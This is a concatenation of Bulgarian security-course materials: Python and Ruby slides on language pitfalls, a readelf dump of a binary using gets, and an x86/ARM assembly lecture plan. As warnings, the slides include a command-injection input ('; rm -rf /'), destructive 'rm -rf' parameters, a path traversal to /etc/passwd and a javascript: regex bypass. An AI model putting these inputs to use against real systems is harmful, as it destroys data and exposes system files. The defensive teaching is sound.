405 | <ipython-input-20-8460e7b49cf0> in <module>()
406 | ----> 1 v.z = 3
407 | 
408 | AttributeError: 'Vector' object has no attribute 'z'
409 | 410 | 411 |
    412 | 413 |
  • По-компактни обекти
  • 414 | 415 |
  • Контрол над атрибутите
  • 416 | 417 |
  • Идеални, ако правите много от тях
  • 418 | 419 |
420 | 421 | 422 |
423 | 424 | 425 | 426 |
427 | 428 |

Достъпване от потребителски вход

429 | 430 | 431 |

432 | Можем и да правим и така: 433 |

434 | 435 | 436 | 437 |
getattr(v, some_str_from_the_stdin)
438 | 439 | 440 | 441 |

442 | Внимавайте с това 443 |

444 | 445 | 446 | 447 |
448 | 449 | 450 | 451 |
452 | 453 |

Магически методи

454 | 455 |
    456 | 457 |
  • __add__(self, other) за self + other
  • 458 | 459 |
  • __sub__(self, other) за self - other
  • 460 | 461 |
  • __mul__(self, other) за self * other
  • 462 | 463 |
  • __truediv__(self, other) за self / other
  • 464 | 465 |
  • __floordiv__(self, other) за self // other
  • 466 | 467 |
  • __mod__(self, other) за self % other
  • 468 | 469 |
  • __lshift__(self, other) за self << other
  • 470 | 471 |
  • __rshift__(self, other) за self >> other
  • 472 | 473 |
  • __and__(self, other) за self & other
  • 474 | 475 |
  • __xor__(self, other) за self ^ other
  • 476 | 477 |
  • __or__(self, other) за self | other
  • 478 | 479 |
480 | 481 | 482 |
483 | 484 | 485 | 486 |
487 | 488 |

GC

489 | 490 |
    491 | 492 |
  • reference counting
  • 493 | 494 |
  • Може да се справя с циклите... почти винаги
  • 495 | 496 |
  • Можете да дефинирате _finalizer_-и на вашите обекти с __del__
  • 497 | 498 |
  • Ако обекти с дефинирани _finalizer_-и зациклят, интерпретаторът вдига ръце
  • 499 | 500 |
  • Можете да си ги чистите сами... ако се сетите
  • 501 | 502 |
  • Което едва ли ще стане, преди това да е проблем
  • 503 | 504 |
505 | 506 | 507 |
508 | 509 | 510 | 511 |
512 | 513 |

Concurrency

514 | 515 | 516 |

517 | И в Python има GIL 518 |

519 | 520 | 521 |
    522 | 523 |
  • Подходящ за I/O bound проблеми
  • 524 | 525 |
  • Крайно неподходящ за CPU bound такива
  • 526 | 527 |
528 | 529 | 530 |
531 | 532 | 533 | 534 |
535 | 536 |

Parallelism

537 | 538 | 539 |

540 | Само с нови процеси 541 |

542 | 543 | 544 |
    545 | 546 |
  • multiprocessing
  • 547 | 548 |
  • subproccess
  • 549 | 550 |
551 | 552 | 553 |
554 | 555 | 556 | 557 |
558 | 559 |

subproccess.call

560 | 561 | 562 |

563 | В никакъв случай не му подавайте shell=True, ако има потребителски вход 564 |

565 | 566 | 567 | 568 |
>>> from subprocess import call
569 | >>> filename = input("What file would you like to display?\n")
570 | What file would you like to display?
571 | non_existent; rm -rf / #
572 | >>> call("cat " + filename, shell=True) # Uh-oh. This will end badly...
573 | 574 | 575 | 576 |
577 | 578 | 579 | 580 |
581 |

Thank you

582 | 583 |
584 | 585 | 586 |

587 | Кирил Владимиров 588 |

589 | 590 | 591 |
592 | 593 |
594 | 595 | 596 |

597 | github.com/Vladimiroff 598 |

599 | 600 | 601 |
602 | 603 |
604 | 605 | 606 |

607 | 608 |

609 | 610 | 611 |
612 | 613 |
614 | 615 |
616 | 617 | 622 | 623 | 624 | 625 | 626 | 627 | 628 | -------------------------------------------------------------------------------- /code/C/elf-normal: -------------------------------------------------------------------------------- 1 | ELF Header: 2 | Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 3 | Class: ELF32 4 | Data: 2's complement, little endian 5 | Version: 1 (current) 6 | OS/ABI: UNIX - System V 7 | ABI Version: 0 8 | Type: EXEC (Executable file) 9 | Machine: Intel 80386 10 | Version: 0x1 11 | Entry point address: 0x80482f0 12 | Start of program headers: 52 (bytes into file) 13 | Start of section headers: 3660 (bytes into file) 14 | Flags: 0x0 15 | Size of this header: 52 (bytes) 16 | Size of program headers: 32 (bytes) 17 | Number of program headers: 8 18 | Size of section headers: 40 (bytes) 19 | Number of section headers: 35 20 | Section header string table index: 32 21 | 22 | Section Headers: 23 | [Nr] Name Type Addr Off Size ES Flg Lk Inf Al 24 | [ 0] NULL 00000000 000000 000000 00 0 0 0 25 | [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 26 | [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 27 | [ 3] .hash HASH 08048168 000168 000028 04 A 4 0 4 28 | [ 4] .dynsym DYNSYM 08048190 000190 000050 10 A 5 1 4 29 | [ 5] .dynstr STRTAB 080481e0 0001e0 00004a 00 A 0 0 1 30 | [ 6] .gnu.version VERSYM 0804822a 00022a 00000a 02 A 4 0 2 31 | [ 7] .gnu.version_r VERNEED 08048234 000234 000020 00 A 5 1 4 32 | [ 8] .rel.dyn REL 08048254 000254 000008 08 A 4 0 4 33 | [ 9] .rel.plt REL 0804825c 00025c 000018 08 A 4 11 4 34 | [10] .init PROGBITS 08048274 000274 00002d 00 AX 0 0 4 35 | [11] .plt PROGBITS 080482b0 0002b0 000040 04 AX 0 0 16 36 | [12] .text PROGBITS 080482f0 0002f0 00020a 00 AX 0 0 16 37 | [13] .fini PROGBITS 080484fc 0004fc 000019 00 AX 0 0 4 38 | [14] .rodata PROGBITS 08048518 000518 000008 00 A 0 0 4 39 | [15] .eh_frame_hdr PROGBITS 08048520 000520 000034 00 A 0 0 4 40 | [16] .eh_frame PROGBITS 08048554 000554 0000d0 00 A 0 0 4 41 | [17] .ctors PROGBITS 08049624 000624 000008 00 WA 0 0 4 42 | [18] .dtors PROGBITS 0804962c 00062c 000008 00 WA 0 0 4 43 | [19] .jcr PROGBITS 08049634 000634 000004 00 WA 0 0 4 44 | [20] .dynamic DYNAMIC 08049638 000638 0000c8 08 WA 5 0 4 45 | [21] .got PROGBITS 08049700 000700 000004 04 WA 0 0 4 46 | [22] .got.plt PROGBITS 08049704 000704 000018 04 WA 0 0 4 47 | [23] .data PROGBITS 0804971c 00071c 000008 00 WA 0 0 4 48 | [24] .bss NOBITS 08049724 000724 000008 00 WA 0 0 4 49 | [25] .comment PROGBITS 00000000 000724 000022 01 MS 0 0 1 50 | [26] .debug_aranges PROGBITS 00000000 000748 000090 00 0 0 8 51 | [27] .debug_info PROGBITS 00000000 0007d8 0001fe 00 0 0 1 52 | [28] .debug_abbrev PROGBITS 00000000 0009d6 000076 00 0 0 1 53 | [29] .debug_line PROGBITS 00000000 000a4c 000143 00 0 0 1 54 | [30] .debug_str PROGBITS 00000000 000b8f 000141 01 MS 0 0 1 55 | [31] .debug_ranges PROGBITS 00000000 000cd0 000048 00 0 0 8 56 | [32] .shstrtab STRTAB 00000000 000d18 000133 00 0 0 1 57 | [33] .symtab SYMTAB 00000000 0013c4 0004e0 10 34 54 4 58 | [34] .strtab STRTAB 00000000 0018a4 000280 00 0 0 1 59 | Key to Flags: 60 | W (write), A (alloc), X (execute), M (merge), S (strings) 61 | I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) 62 | O (extra OS processing required) o (OS specific), p (processor specific) 63 | 64 | There are no section groups in this file. 65 | 66 | Program Headers: 67 | Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 68 | PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 69 | INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 70 | [Requesting program interpreter: /lib/ld-linux.so.2] 71 | LOAD 0x000000 0x08048000 0x08048000 0x00624 0x00624 R E 0x1000 72 | LOAD 0x000624 0x08049624 0x08049624 0x00100 0x00108 RW 0x1000 73 | DYNAMIC 0x000638 0x08049638 0x08049638 0x000c8 0x000c8 RW 0x4 74 | NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4 75 | GNU_EH_FRAME 0x000520 0x08048520 0x08048520 0x00034 0x00034 R 0x4 76 | GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 77 | 78 | Section to Segment mapping: 79 | Segment Sections... 80 | 00 81 | 01 .interp 82 | 02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 83 | 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 84 | 04 .dynamic 85 | 05 .note.ABI-tag 86 | 06 .eh_frame_hdr 87 | 07 88 | 89 | Dynamic section at offset 0x638 contains 20 entries: 90 | Tag Type Name/Value 91 | 0x00000001 (NEEDED) Shared library: [libc.so.6] 92 | 0x0000000c (INIT) 0x8048274 93 | 0x0000000d (FINI) 0x80484fc 94 | 0x00000004 (HASH) 0x8048168 95 | 0x00000005 (STRTAB) 0x80481e0 96 | 0x00000006 (SYMTAB) 0x8048190 97 | 0x0000000a (STRSZ) 74 (bytes) 98 | 0x0000000b (SYMENT) 16 (bytes) 99 | 0x00000015 (DEBUG) 0x0 100 | 0x00000003 (PLTGOT) 0x8049704 101 | 0x00000002 (PLTRELSZ) 24 (bytes) 102 | 0x00000014 (PLTREL) REL 103 | 0x00000017 (JMPREL) 0x804825c 104 | 0x00000011 (REL) 0x8048254 105 | 0x00000012 (RELSZ) 8 (bytes) 106 | 0x00000013 (RELENT) 8 (bytes) 107 | 0x6ffffffe (VERNEED) 0x8048234 108 | 0x6fffffff (VERNEEDNUM) 1 109 | 0x6ffffff0 (VERSYM) 0x804822a 110 | 0x00000000 (NULL) 0x0 111 | 112 | Relocation section '.rel.dyn' at offset 0x254 contains 1 entries: 113 | Offset Info Type Sym.Value Sym. Name 114 | 08049700 00000206 R_386_GLOB_DAT 00000000 __gmon_start__ 115 | 116 | Relocation section '.rel.plt' at offset 0x25c contains 3 entries: 117 | Offset Info Type Sym.Value Sym. Name 118 | 08049710 00000107 R_386_JUMP_SLOT 00000000 gets 119 | 08049714 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ 120 | 08049718 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main 121 | 122 | The decoding of unwind sections for machine type Intel 80386 is not currently supported. 123 | 124 | Symbol table '.dynsym' contains 5 entries: 125 | Num: Value Size Type Bind Vis Ndx Name 126 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 127 | 1: 00000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.0 (2) 128 | 2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 129 | 3: 0804851c 4 OBJECT GLOBAL DEFAULT 14 _IO_stdin_used 130 | 4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 131 | 132 | Symbol table '.symtab' contains 78 entries: 133 | Num: Value Size Type Bind Vis Ndx Name 134 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 135 | 1: 08048134 0 SECTION LOCAL DEFAULT 1 136 | 2: 08048148 0 SECTION LOCAL DEFAULT 2 137 | 3: 08048168 0 SECTION LOCAL DEFAULT 3 138 | 4: 08048190 0 SECTION LOCAL DEFAULT 4 139 | 5: 080481e0 0 SECTION LOCAL DEFAULT 5 140 | 6: 0804822a 0 SECTION LOCAL DEFAULT 6 141 | 7: 08048234 0 SECTION LOCAL DEFAULT 7 142 | 8: 08048254 0 SECTION LOCAL DEFAULT 8 143 | 9: 0804825c 0 SECTION LOCAL DEFAULT 9 144 | 10: 08048274 0 SECTION LOCAL DEFAULT 10 145 | 11: 080482b0 0 SECTION LOCAL DEFAULT 11 146 | 12: 080482f0 0 SECTION LOCAL DEFAULT 12 147 | 13: 080484fc 0 SECTION LOCAL DEFAULT 13 148 | 14: 08048518 0 SECTION LOCAL DEFAULT 14 149 | 15: 08048520 0 SECTION LOCAL DEFAULT 15 150 | 16: 08048554 0 SECTION LOCAL DEFAULT 16 151 | 17: 08049624 0 SECTION LOCAL DEFAULT 17 152 | 18: 0804962c 0 SECTION LOCAL DEFAULT 18 153 | 19: 08049634 0 SECTION LOCAL DEFAULT 19 154 | 20: 08049638 0 SECTION LOCAL DEFAULT 20 155 | 21: 08049700 0 SECTION LOCAL DEFAULT 21 156 | 22: 08049704 0 SECTION LOCAL DEFAULT 22 157 | 23: 0804971c 0 SECTION LOCAL DEFAULT 23 158 | 24: 08049724 0 SECTION LOCAL DEFAULT 24 159 | 25: 00000000 0 SECTION LOCAL DEFAULT 25 160 | 26: 00000000 0 SECTION LOCAL DEFAULT 26 161 | 27: 00000000 0 SECTION LOCAL DEFAULT 27 162 | 28: 00000000 0 SECTION LOCAL DEFAULT 28 163 | 29: 00000000 0 SECTION LOCAL DEFAULT 29 164 | 30: 00000000 0 SECTION LOCAL DEFAULT 30 165 | 31: 00000000 0 SECTION LOCAL DEFAULT 31 166 | 32: 00000000 0 FILE LOCAL DEFAULT ABS init.c 167 | 33: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 168 | 34: 08049624 0 OBJECT LOCAL DEFAULT 17 __CTOR_LIST__ 169 | 35: 0804962c 0 OBJECT LOCAL DEFAULT 18 __DTOR_LIST__ 170 | 36: 08049634 0 OBJECT LOCAL DEFAULT 19 __JCR_LIST__ 171 | 37: 08048330 0 FUNC LOCAL DEFAULT 12 deregister_tm_clones 172 | 38: 08048360 0 FUNC LOCAL DEFAULT 12 register_tm_clones 173 | 39: 080483a0 0 FUNC LOCAL DEFAULT 12 __do_global_dtors_aux 174 | 40: 08049724 1 OBJECT LOCAL DEFAULT 24 completed.5978 175 | 41: 08049728 4 OBJECT LOCAL DEFAULT 24 dtor_idx.5980 176 | 42: 08048400 0 FUNC LOCAL DEFAULT 12 frame_dummy 177 | 43: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 178 | 44: 08049628 0 OBJECT LOCAL DEFAULT 17 __CTOR_END__ 179 | 45: 08048620 0 OBJECT LOCAL DEFAULT 16 __FRAME_END__ 180 | 46: 08049634 0 OBJECT LOCAL DEFAULT 19 __JCR_END__ 181 | 47: 080484d0 0 FUNC LOCAL DEFAULT 12 __do_global_ctors_aux 182 | 48: 00000000 0 FILE LOCAL DEFAULT ABS stack-protection.c 183 | 49: 00000000 0 FILE LOCAL DEFAULT ABS 184 | 50: 08049624 0 NOTYPE LOCAL DEFAULT 17 __init_array_end 185 | 51: 08049638 0 OBJECT LOCAL DEFAULT 20 _DYNAMIC 186 | 52: 08049624 0 NOTYPE LOCAL DEFAULT 17 __init_array_start 187 | 53: 08049704 0 OBJECT LOCAL DEFAULT 22 _GLOBAL_OFFSET_TABLE_ 188 | 54: 080484c0 2 FUNC GLOBAL DEFAULT 12 __libc_csu_fini 189 | 55: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab 190 | 56: 08048320 4 FUNC GLOBAL HIDDEN 12 __x86.get_pc_thunk.bx 191 | 57: 0804971c 0 NOTYPE WEAK DEFAULT 23 data_start 192 | 58: 00000000 0 FUNC GLOBAL DEFAULT UND gets@@GLIBC_2.0 193 | 59: 08049724 0 NOTYPE GLOBAL DEFAULT 23 _edata 194 | 60: 080484fc 0 FUNC GLOBAL DEFAULT 13 _fini 195 | 61: 08049630 0 OBJECT GLOBAL HIDDEN 18 __DTOR_END__ 196 | 62: 0804971c 0 NOTYPE GLOBAL DEFAULT 23 __data_start 197 | 63: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 198 | 64: 08049720 0 OBJECT GLOBAL HIDDEN 23 __dso_handle 199 | 65: 0804851c 4 OBJECT GLOBAL DEFAULT 14 _IO_stdin_used 200 | 66: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ 201 | 67: 08048450 97 FUNC GLOBAL DEFAULT 12 __libc_csu_init 202 | 68: 0804972c 0 NOTYPE GLOBAL DEFAULT 24 _end 203 | 69: 080482f0 0 FUNC GLOBAL DEFAULT 12 _start 204 | 70: 08048518 4 OBJECT GLOBAL DEFAULT 14 _fp_hw 205 | 71: 08049724 0 NOTYPE GLOBAL DEFAULT 24 __bss_start 206 | 72: 08048443 13 FUNC GLOBAL DEFAULT 12 main 207 | 73: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 208 | 74: 08049724 0 OBJECT GLOBAL HIDDEN 23 __TMC_END__ 209 | 75: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable 210 | 76: 08048430 19 FUNC GLOBAL DEFAULT 12 user_read 211 | 77: 08048274 0 FUNC GLOBAL DEFAULT 10 _init 212 | 213 | Histogram for bucket list length (total of 3 buckets): 214 | Length Number % of total Coverage 215 | 0 0 ( 0.0%) 216 | 1 2 ( 66.7%) 50.0% 217 | 2 1 ( 33.3%) 100.0% 218 | 219 | Version symbols section '.gnu.version' contains 5 entries: 220 | Addr: 000000000804822a Offset: 0x00022a Link: 4 (.dynsym) 221 | 000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 1 (*global*) 222 | 004: 2 (GLIBC_2.0) 223 | 224 | Version needs section '.gnu.version_r' contains 1 entries: 225 | Addr: 0x0000000008048234 Offset: 0x000234 Link: 5 (.dynstr) 226 | 000000: Version: 1 File: libc.so.6 Cnt: 1 227 | 0x0010: Name: GLIBC_2.0 Flags: none Version: 2 228 | 229 | Notes at offset 0x00000148 with length 0x00000020: 230 | Owner Data size Description 231 | GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag) 232 | OS: Linux, ABI: 2.6.32 233 | -------------------------------------------------------------------------------- /presentations/ruby/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Ruby – особености от гледна точка на сигурността 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 28 | 29 | 32 | 33 | 34 | 35 | 36 |
37 | 38 | 39 |
40 |
41 |

Ruby

42 |

Особености от гледна точка на сигурността

43 |
44 | 45 |
46 |

Набързо за Ruby

47 |

48 | Динамичен, oбектно-ориентиран, general-purpose, но предимно използван за Web, език за програмиране 49 |

50 |
51 | 52 |
53 |

Всичко е обект

54 |

 55 | 123.class
 56 | #=> Fixnum
 57 |           
58 |

 59 | "Ruby".class
 60 | #=> String
 61 |           
62 |

 63 | nil.class
 64 | #=> NilClass
 65 |           
66 |

 67 | true.class
 68 | #=> TrueClass
 69 |           
70 |
71 | 72 |
73 |
74 |

Променливи

75 |
    76 |
  • глобални:
    $FOO = "bar"
  • 77 |
  • на инстанцията:
    @foo = "bar"
  • 78 |
  • на класа:
    @@foo = "bar"
  • 79 |
  • локални:
    foo = "bar"
  • 80 |
81 |
82 | 83 |
84 |

Когато решите да дефинирате глобална променлива в Ruby, станете от компютъра, изпийте една студена вода и се разходете.

85 |

Ако когато се върнете, все още имате желание да дефинирате глобална променлива, прочетете (отново) тази статия:

86 |

http://c2.com/cgi/wiki?GlobalVariablesAreBad

87 |
88 |
89 | 90 |
91 |

Низове

92 |

Литералите за низ в Ruby са единични и двойни кавички

93 |
'Васил „не“ пие' # <--- Низ :)
94 |

UTF-8 кодирани, но част от операциите върху тях действат само върху ASCII символите им:

95 |
"Васил „не“ pie".upcase
 96 | #=> "Васил „не“ PIE"
97 |
98 | 99 |
100 |

Създаването на низ с двойни кавички предоставя интерполация

101 |
"1 + 2 = #{1 + 2}"
102 | #=> "1 + 2 = 3"
103 |
104 | 105 |
106 |

Символи

107 |

Интернирани низове от символи

108 |

Интернирани?

109 |

Immutable, всяка уникална стойност остава в паметта до приключване на изпълнението. Използват се например за ключове за хешове и за други работи :).

110 |
animal = :crocodile
111 | animals[animal] = Vasil.new
112 | animals[:crocodile]
113 | #=> #<Vasil:0x007fb7f049d180>
114 | 
115 | :crocodile.object_id
116 | #=> 1390428
117 | 
118 | animal.object_id
119 | #=> 1390428
120 |
121 | 122 |
123 |

Класове и методи

124 |

Клас се дефинира така:

125 |
class Vasil
126 | end
127 | 128 |

Метод се дефинира така:

129 |
class Vasil
130 |   def doesnt_drink?
131 |     false
132 |   end
133 | end
134 | 135 |
136 | 137 |
138 |

Опасните неща

139 |
140 | 141 |
142 |

Препълване на паметта

143 |

Преди Ruby 2.2.0 всички символи остават в паметта до приключване на изпълнението на програмата.

144 |

Това означава, че ако уникални символи се създават от потребителски данни, приложението може да препълни паметта на машината, на която работи.

145 |

След 2.2.0 динамично създадените символи се освобождават от garbage collection процеса.

146 |
147 | 148 |
149 |

В Ruby (почти) всичко може да бъде променено по време на изпълнение

150 |

Под почти всичко да се разбира, че дори константите могат да бъдат променяни

151 |
VASIL_DOESNT_DRINK = false
152 | VASIL_DOESNT_DRINK = "true"
153 | # warning: already initialized constant VASIL_DOESNT_DRINK
154 | # warning: previous definition of VASIL_DOESNT_DRINK was here
155 | VASIL_DOESNT_DRINK
156 | => "true"
157 |
158 | 159 |
160 |

Изводи

161 |

Програмистите трябва да внимават да не променят неочаквано нещо... Което не е толкова трудно, ако програмистите спазват конвенциите.

162 |
163 | 164 |
165 |

Метапрограмиране

166 |
    167 |
  • eval
  • 168 |
  • instance_eval
  • 169 |
  • class_eval
  • 170 |
  • module_eval
  • 171 |
172 |

До тези методи никога не трябва да достигат данни под контрола на потребителите.

173 |
174 | 175 |
176 |

Динамично извикване на методи

177 |
    178 |
  • Object#send (извиква дори private методи)
  • 179 |
  • Object#respond_to?
  • 180 |
181 |

Отново, ако аргументите на тези методи са под контрола на потребителите, you're gonna have a bad time.

182 |
183 | 184 |
185 |
186 |

Good old shell injection

187 |
    188 |
  • Kernel#system
  • 189 |
  • Kernel#exec
  • 190 |
  • Kernel#syscall
  • 191 |
  • %x(foo)
  • 192 |
  • `foo`
  • 193 |
194 |

Параметрите на тези команди винаги трябва да бъдат екранирани, ако са под контрола на потребителите

195 |
196 |
197 |

Защо?

198 |
system("rf -rf #{params[:file]}")
199 |
exec(params[:command])
200 |
`unlink #{params[:something]}`
201 |

Нека преди изпълнение на горните команди, сме дефинирали тази променлива:

202 |
params = {file: '/home/vasil',
203 |        command: 'rm -rf /home/vasil',
204 |      something: '/home/vasil/Desktop/passwords.txt'}
205 | 
206 | 207 |
208 |
209 | 210 |
211 |

Операции с файлове

212 |

Dir, File, IO, Kernel, Net::FTP, Net::HTTP, PStore, Pathname, Shell и т.н.

213 |

Препоръчително е имената на файловете/директориите да не бъдат под контрола на потребителите ИЛИ да бъдат екранирани по правилния начин

214 |

А не така:

215 |
File.read "/home/application/upload/#{params[:file]}"
216 |
File.read '/home/application/upload/../../../etc/passwd'
217 |
218 | 219 |
220 |
221 |

Регулярни изрази

222 |

Като навсякъде другаде, с едно доста важно изключение

223 |

За начало и край на низ не се използват ^ и $.

224 |

Използват се \A и \z.

225 |
226 |
227 |

Какво става, ако се объркаме?

228 |

Този регулярен израз:

229 |
/^https?:\/\/[^\n]+$/i
230 |

Ще разпознае този низ от символи:

231 |
javascript:exploit_code();/*
232 | http://hi.com
233 | */
234 |

Повече за този вид атаки по-нататък в курса.

235 |
236 |
237 |
238 |

Паралелно програмиране

239 |

MRI има global interpreter lock. Други имплементации на Ruby нямат.

240 |

С изключение на това, особеностите на паралелното програмиране с Ruby са стандартни.

241 |
242 | 243 |
244 |

Уязвимости на стандартната библиотека и runtime-а

245 |

MRI е написан на C

246 |

Rubinius е написан на C++

247 |

Съществуват редица имплементации на Ruby.

248 |

Следете уязвимостите, асоциирани с имплементацията, която използвате.

249 |
250 | 251 |
252 |

Уязвимости на използваните от програмата библиотеки

253 |

Всеки може да пише джемове за Ruby.

254 |

Не всеки може да пише джемове, които нямат дупки в сигурността.

255 |

Rubygems има функционалност за подписване на пакети, но тя масово не се ползва.

256 |

Доскоро пакетите се трансферираха по HTTP.

257 |
258 |
259 |

Заключение

260 |

Следвайте конвенциите.

261 |

Екранирайте входящите данни.

262 |

Следете уязвимостите на платформата си.

263 |
264 |
265 |
266 |
267 | 268 |
269 | 270 | 271 | 272 | 273 | 297 | 298 | 299 | 300 | -------------------------------------------------------------------------------- /lecture-plans/vk/20arch.pandoc: -------------------------------------------------------------------------------- 1 | % x86 и ARM 2 | % Архитектури, асемблер, exploit-и 3 | % Vasil Kolev \ 4 | 5 | # Основи на архитектурите 6 | ## Основни 7 | ### Описание 8 | 9 | * Преди да говорим за атаки на компилируеми езици, трябва да си изясним архитектурата отдолу 10 | * Ще говорим за x86 и ARM 11 | * Идеалната книга за целта - Reverse Engineering for Beginners 12 | * http://beginners.re 13 | 14 | ### Endianness 15 | 16 | ![endianness](endian.png) 17 | 18 | ## x86 19 | 20 | ### 21 | #### x86/x86_64 22 | 23 | ### x86 24 | 25 | * Първи процесор - 8086, 1978 г. 26 | * 16-битов, 32-битов (80386), 64-битов (x86_64, AMD64) 27 | * Да не се бърка с x64 (Itanium), който е съвсем различен 28 | * Little-endian 29 | * CISC 30 | * Основна архитектура на сървъри и desktop-и 31 | * Мощни 32 | * backwards-compatible 33 | * В общи линии най-новите технологии се прилагат при тях 34 | * Няколко производителя - Intel, AMD 35 | 36 | 37 | ### Основни идеи 38 | 39 | * Голям instruction set 40 | * Може да оперирате директно с паметта 41 | * Сложни инструкции 42 | * могат да отнемат по няколко такта 43 | * Много много наследство от стари версии 44 | 45 | ### Регистри 46 | 47 | * General purpose - AX, BX, CX, DX (8-64bit) 48 | * General purpose (64bit only) - R8-R15 (8-64bit) 49 | * Segment registers - CS, DS, SS, ES, FS, GS (16bit) 50 | * Pointer registers - SP, BP (8-64bit) 51 | * ползват се за стека 52 | * Index registers - SI, DI 53 | * general purpose в x86_64 54 | * Instruction pointer registers - IP 55 | * Куп други за FPU, MMX, SSE... 56 | 57 | ### 58 | 59 | ![x86 регистри](registers.png) 60 | 61 | ### Calling conventions, stack, heap 62 | 63 | * Аргументите на функция се предават през стека 64 | * Има fastcall/regparm при 32битовите с няколко регистъра 65 | * x86_64 ползва 4 или 6 регистъра и след това стека 66 | * Стекът е виртуална конструкция в паметта 67 | * RSP показва къде свършва 68 | * RBP показва къде започва текущия stack frame 69 | * Heap-а е паметта, дадена на процеса за други нужди 70 | 71 | ### 72 | 73 | ![stack and heap](stackheap.png) 74 | 75 | ### 76 | 77 | ![stack frame](stackframe.png) 78 | 79 | ### 80 | 81 | ![stack frame-full](fullstackframe.png) 82 | 83 | ### Memory protection 84 | 85 | * Ще си говорим основно за protected mode 86 | * ring 0, ring 3 87 | * Виртуална и физическа памет 88 | 89 | ## ARM 90 | 91 | ### 92 | #### ARM 93 | 94 | ### ARM 95 | 96 | * Първи процесор - ARMv2, 1985 г. 97 | * 32 битов, 64 битов (съвсем скоро, ARMv8) 98 | * RISC 99 | * Може да превключва м/у little и big endian 100 | * Основна архитектура на повечето мобилни устройства 101 | * Евтини 102 | * Ниско потребление на енергия 103 | * Прости 104 | * Много производители (ARM само лицензират архитектурата) 105 | 106 | ### Регистри, 32 bit 107 | 108 | * 16 бр. 32-битови регистъра, R0-R15 109 | * R0 - return result 110 | * R1-R12 - general purpose 111 | * R13 - stack pointer 112 | * R14 - link register 113 | * R15 - program counter 114 | * CPSR - Current Program State Register 115 | 116 | ### Регистри, 64bit 117 | 118 | * SP, PC са отделни регистри 119 | * 32 бр. 64-битови регистъра, X0-X31 120 | * X0 - return result 121 | * X1-X7 - function arguments 122 | * X8-X28 - general purpose 123 | * X29 - frame pointer (GCC) 124 | * X30 - link register 125 | * X31 или XZR - always zero 126 | * Долната 32битова част е достъпна чрез W регистър 127 | * като RAX/EAX в x86 128 | * По принцип приложението им е конвенция, не е enforce-нато от нещо 129 | 130 | ### Режими 131 | 132 | * ARM може да обработва инструкциите в няколко режима 133 | * ARM mode - 32 бита, aligned 134 | * THUMB - 16 бита за инструкция, aligned 135 | * THUMB2 - 16/32 бита за инструкция 136 | * Jazelle - Java bytecode 137 | * Режимите може да се превключват 138 | * доста полезно при писане на return-oriented shellcode 139 | 140 | ### Calling convention 141 | 142 | * LR - link register (R14/X30) съхранява return адреса 143 | * На следващото повикване return address-а се запазва в стека 144 | 145 | # Асемблер 146 | 147 | ## Синтаксис 148 | 149 | ### 150 | #### Асемблер 151 | 152 | ### Синтаксиси 153 | 154 | * Два - intel и AT&T 155 | * AT&T - gcc, unix-и 156 | * Intel - windows, visual studio 157 | 158 | ### Intel 159 | 160 | ~~~~~~~asm 161 | $SG2989 DB 'hello, world', 0AH, 00H 162 | 163 | main PROC 164 | sub rsp, 40 165 | lea rcx, OFFSET FLAT:$SG2923 166 | call printf 167 | xor eax, eax 168 | add rsp, 40 169 | ret 0 170 | main ENDP 171 | ~~~~~~~ 172 | 173 | ### AT&T 174 | 175 | ~~~~~~~asm 176 | .LC0: 177 | .string "hello, world\n" 178 | main: 179 | pushl %ebp 180 | movl %esp, %ebp 181 | andl $-16, %esp 182 | subl $16, %esp 183 | movl $.LC0, (%esp) 184 | call printf 185 | movl $0, %eax 186 | leave 187 | ret 188 | ~~~~~~~ 189 | 190 | 191 | ### Основни разлики 192 | 193 | * АT&Т: $16 == intel: 10h 194 | * a=b: AT&T: mov b, a == intel: mov a, b 195 | * В AT&T има суфикс на инструкциите за размера на операнда (q,l,w,b) 196 | * В AT&T се слага % преди името на регистъра 197 | 198 | ## инструкции 199 | 200 | ### 201 | #### Инструкции/x86 202 | 203 | ### Основни 204 | 205 | * MOV/MOVSX/MOVZX 206 | * NOP 207 | * AND EAX,EAX и други вариации 208 | * INT, SYSCALL (x86_64) 209 | 210 | ### Аритметика 211 | 212 | * ADD/ADC/INC (add, add with carry, increment) 213 | * SUB/SBB 214 | * MUL/IMUL 215 | * DIV/IDIV 216 | * SHL/SHR 217 | * XCHG 218 | 219 | ### Логически 220 | 221 | * AND, OR, XOR 222 | * NOT 223 | 224 | ### Branching 225 | 226 | * CMP, TEST 227 | * JMP 228 | * Jcc 229 | * JE, JNE 230 | * JZ, JNZ 231 | * и много много други 232 | 233 | ### Stack 234 | 235 | * PUSH X 236 | * movl X, (%esp) 237 | * subl $4, 